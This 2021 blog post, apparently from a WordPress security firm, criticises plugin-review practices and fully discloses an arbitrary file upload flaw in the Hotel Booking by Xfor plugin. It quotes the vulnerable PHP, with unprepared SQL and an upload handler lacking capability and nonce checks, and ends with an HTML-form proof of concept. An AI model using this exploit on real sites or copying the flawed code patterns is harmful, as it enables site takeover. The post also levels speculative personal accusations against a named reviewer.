10 Sep 2021

Does a Fabulist Explain Why The Security Reviews of New WordPress Plugins Are Not Happening?

August 13th the WP Tavern, which is owned by WordPress and Automattic head Matt Mullenweg, published a post written by Sarah Gooding that presented an inaccurate view of the state of the security of WordPress plugins. The post was about a report based in part on data from a security company named WPScan that has been inflating the number of vulnerabilities in WordPress plugins they claim to be aware of. The story didn’t address that inflation, but instead put forward this claim to explain what is actually being caused, at least largely, by that inflation:

Both Wordfence and WPScan claim that the greater number of vulnerabilities reported this year is indicative of the growth of the WordPress ecosystem and a maturing, healthy interest in security. Themes and plugins aren’t getting more insecure over time but rather there are more people interested in discovering and reporting vulnerabilities.

“First and foremost, we aren’t seeing a lot of newly introduced vulnerabilities in plugins and themes but rather we are seeing a lot of older vulnerabilities in older plugins and themes being reported/fixed that just weren’t detected until now,” Wordfence Threat Analyst Chloe Chamberland said.

“Vulnerabilities aren’t being introduced as frequently and more vulnerabilities are being detected simply due to the higher activity of researchers which is in turn positively impacting the security of the WordPress ecosystem. Considering it isn’t newly introduced vulnerabilities that are being frequently discovered, I feel confident in saying that the increase in discoveries doesn’t indicate that the ecosystem is getting less secure at all but rather getting more secure.”

Chamberland also said she believes there is a domino effect when vulnerabilities are disclosed to vendors and they learn from their accidents, causing them to develop more secure products in the future.

“Speaking from experience as I spend a lot of my time looking for vulnerabilities in WordPress plugins, things have definitely been getting more secure from my perspective,” she said. “Today, I frequently find capability checks and nonce checks in all the right places along with proper file upload validation measures in place, and all the good stuff. It’s become harder to find easily exploitable vulnerabilities in plugins and themes that are being actively maintained which is a great thing!”

The post didn’t include any perspective from a source unrelated to the companies, which, as we noted before, was not a good idea:

It seems like a bad idea to run with something based on a report from two companies well known to be dishonest, but the post even lacks a basic journalistic element, any perspective from a source unrelated to the people publishing the report. As such, the post reads like something that could have from the PR department of the companies. Getting an unaffiliated perspective would have been a very good idea, since the resulting post includes numerous elements that need significant qualification at best, shouldn’t be there at all, or the post shouldn’t exist at all, since the underlying information is so unreliable.

We tried to provide some balance by leaving a comment on the post that noted several of the issues, but that comment was not be permitted to be shown. You can read what we wrote here.

It is hard to improve the security of WordPress plugins when people are not even getting an accurate picture of how things currently stand.

The claim made by the Wordfence quoted above is directly in conflict with what we are finding. The most recent example of that involves another problem with making WordPress plugins more secure, which is something that you would expect that Wordfence and WP Tavern would warn people about, but they haven’t. That example involves a very insecure plugin being introduced in to WordPress’s Plugin Directory, when it shouldn’t have.

What Is Going Wrong With the Manual Security Reviews of New WordPress Plugins?

When a new plugin is submitted to WordPress’s Plugin Directory, it is supposed to be going through a manual review, which includes a review of its security:

You will get an automated email telling you about the submission immediately. At that point, someone will manually download and review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved. If we determine there are issues, you will receive a second email with details explaining what needs to be fixed.

For years now, we have been doing proactive monitoring to try to catch serious vulnerabilities in WordPress plugins as soon as they are introduced and almost as long as we have been doing that; we have been finding serious vulnerabilities in brand new plugins. In checking in to the possibilities of those vulnerabilities, we have been finding things that point to the manual reviews not being done in general. That includes plugins that were so broken that they didn’t function enough for us to confirm whether or not there was a vulnerability.

For years we have also offered the team running the Plugin Directory to provide a capability in several different ways to have the same type of detection capability we have, which would allow them to detect those serious vulnerabilities during the reviews. We have gotten no interest from them.

That would seem like something that journalists should be interested in covering, but so far we have been unable to get any to take an interest in this. Despite the positive impact getting the reviews improved could have.

An obvious question is why the team running the Plugin Directory wouldn’t be interested in improving those reviews and the answer might be explained by something we ran across recently.

Is Mika Epstein a Fabulist?

It is currently listed that there are only four people on the team handling the Plugin Directory, which seems quite off from the number of people needed. That is not due to a lack of people interested in being on the team, instead it is due to the team not allowing anyone else to join the team. They have claimed for years that they can’t accept new members because of a revamp of a nebulous “system”:

The Plugin Review Team is currently not accepting new members, until the revamp of the system is complete.

Yet during the years they have claimed that, several members have come and gone. Confusingly right above the message that they can’t add new members, they claim they adding new member by “invite only”:

That all runs against how WordPress is supposed to operate and it creates a lot of room for misuse or abuse by the people running that team. Yet this somehow hasn’t gotten any attention from the WP Tavern or other WordPress related outlets as far as we are aware.

One of the two members of the team that seem to be in charge, Mika Epstein, seems like they might be a fabulist. If you head to over to Five for the Future page on the WordPress website, you will find them mentioned in a case study with this extraordinary claim:

Mika Epstein has reviewed 46,800 plugins for inclusion in the WordPress Plugin Directory. She managed this while working at Dreamhost, which contributes 25 percent of her paid hours to benefitting the WordPress open source project.

How could they possibly do all of those manual reviews? One explanation for how she has been able to review so many plugins is that she isn’t actually reviewing many of them. That would line up with everything else we have seen here, as the reviews don’t seem to be happening and there hasn’t been an interest in improving them, if they were.

That is something that journalists, like say the ones at the WP Tavern, seem like they should look into.

Another Failed Security Review

On August 28, a new plugin Hotel Booking by Xfor was added to the plugin directory. The plugin is very insecure and contains a serious security vulnerability, one that runs counter to the claim made by the Wordfence employees claims made above. But before we get to that, we should note a less serious security issue, which shouldn’t exist if the plugin had gone through the manual review before being allowed in to the plugin directory.

In the checklist for reviewers, there is this security section:

Security and Privacy #Security and Privacy

  • Don’t phone home without informed user consent
  • Collection of user data must be “opt-in” only and have the relevant option set to disabled by default
  • Validate and sanitize untrusted data before processing (See: Data Validation)
  • Escape all data before output (See: Data Validation)
  • Do not use URL shorteners
  • Use prepare() and $wpdb for SQL calls

This plugin contains numerous SQL calls using $wpdb (there are 125 instances of “$wpdb->” in the first version of the plugin), but there is no usage of prepare() statements.

Not all of them require usage of prepared statements using prepare(), but it isn’t hard to find ones that look like they should be prepared. Here is one from the file /includes/helper.php:

78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
public static function getAvailableRoomsByRoomTypeId(
	$type_id,
	$start_date,
	$end_date
): array {
	global $wpdb;
 
	$rooms_list = [];
 
	$rooms = $wpdb->get_results("
		SELECT *
		FROM " . $wpdb->prefix . "xfor_rooms
		WHERE type_id = $type_id AND status = 1
		ORDER BY cleaner DESC
	");
	foreach ($rooms as $row) {
		$rooms_list[$row->name] = $row->name;
	}
	unset($rooms);
 
	$rooms_busy_list = [];
 
	$rooms = $wpdb->get_results("
		SELECT room
		FROM " . $wpdb->prefix . "xfor_orders
		WHERE start_date >= '$start_date' AND end_date <= '$end_date'
	");

Authenticated Arbitrary File Upload

Another file /includes/ajax.php contains a lot of insecure code, including the code that our proactive monitoring alerted us to. That code is insecure in three ways, all of which the Wordfence employee cited not finding often:

Today, I frequently find capability checks and nonce checks in all the right places along with proper file upload validation measures in place, and all the good stuff.

In that file, the function xfor_upload_images() is made available through WordPress’ AJAX functionality to anyone logged in to WordPress:

593
add_action('wp_ajax_xfor_upload_images', 'xfor_upload_images');

That function appears to be only intended to be accessed from the admin area of WordPress. Looking into that runs into something that shouldn’t be in a new plugin, as the registration of the menu doesn’t include a capability necessary for accessing it, but a user level:

48
49
50
51
52
53
54
55
56
add_menu_page(
	__('Hotel Booking', 'xfor'),
	__('Hotel Booking', 'xfor'),
	8,
	'hb-console',
	'plugin_page',
	'dashicons-bank',
	3
);

Going back to review handbook that itself should have caused a problem during the manual review that was supposed to happen here, as this is another checklist item:

No errors when run with WP_DEBUG set to true

If you have WP_DEBUG set to true, there is this message related to that:

Deprecated: has_cap was called with an argument that is deprecated since version 2.0.0! Usage of user levels is deprecated. Use capabilities instead.

Getting back to the function, there is no capabilities check or nonce check before a file saved to the website:

492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
function xfor_upload_images()
{
    global $wpdb;
 
    if (!is_admin()) {
        die();
    }
 
    $id = (int)$_POST['id'];
    $images_data = [];
    $is_set = false;
 
    $row = $wpdb->get_row("
        SELECT images 
        FROM {$wpdb->prefix}xfor_room_types_images
        WHERE type_id = $id
    ");
    if (!empty($row->images)) {
        $images_data = explode(',', $row->images);
        $is_set = true;
    }
 
    $wordpress_upload_dir = wp_upload_dir();
    $i = 1;
 
    $photo = $_FILES['file'];
    $new_file_path = $wordpress_upload_dir['path'] . '/' . $photo['name'];
    $new_file_mime = mime_content_type($photo['tmp_name']);
 
    if (empty($photo)) {
        die(__('File is not selected.', 'hotel-booking-by-xfor'));
    }
 
    if ($photo['error']) {
        die($photo['error']);
    }
 
    if ($photo['size'] > wp_max_upload_size()) {
        die(__('It is too large than expected.', 'hotel-booking-by-xfor'));
    }
 
    if (!in_array($new_file_mime, get_allowed_mime_types())) {
        die(__('WordPress doesn\'t allow this type of uploads.', 'hotel-booking-by-xfor'));
    }
exit($new_file_path);
    while (file_exists($new_file_path)) {
        $i++;
        $new_file_path = $wordpress_upload_dir['path'] . '/' . $i . '_' . $photo['name'];
    }
 
    if (move_uploaded_file($photo['tmp_name'], $new_file_path)) {

While there is an attempt a file upload validation there, it doesn’t work, since the check done involves the files “type”, which is easily bypassed. As the proof of concept below confirms, that allows anyone logged in to WordPress to upload arbitrary files, which is a serious vulnerability since it could lead to the running of arbitrary code. Through cross-site request forgery (CSRF) an attacker could cause someone that is logged in to upload a file through that as well.

Our upcoming firewall plugin contains multiple forms of protection that significantly reduce the ability for a vulnerability like this to be exploited, both in a mass hack or in a targeted attack.

Conclusion

While it would be very hard to make WordPress plugins completely secure, reviewing new plugins being introduced in to the WordPress Plugin Directory could have a major positive impact. Right now that is supposed to be happening, but clearly isn’t always happening as what we just noted about the plugin Hotel Booking by Xfor.

The likes of Wordfence and WP Tavern have had years to use their voices to highlight that something is very wrong, but they haven’t. By instead claiming that plugins are getting more secure, which provides cover for what appears to be a fabulist to continue to harm the WordPress community.

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the contents of a file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=xfor_upload_images" enctype="multipart/form-data" method="POST">
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.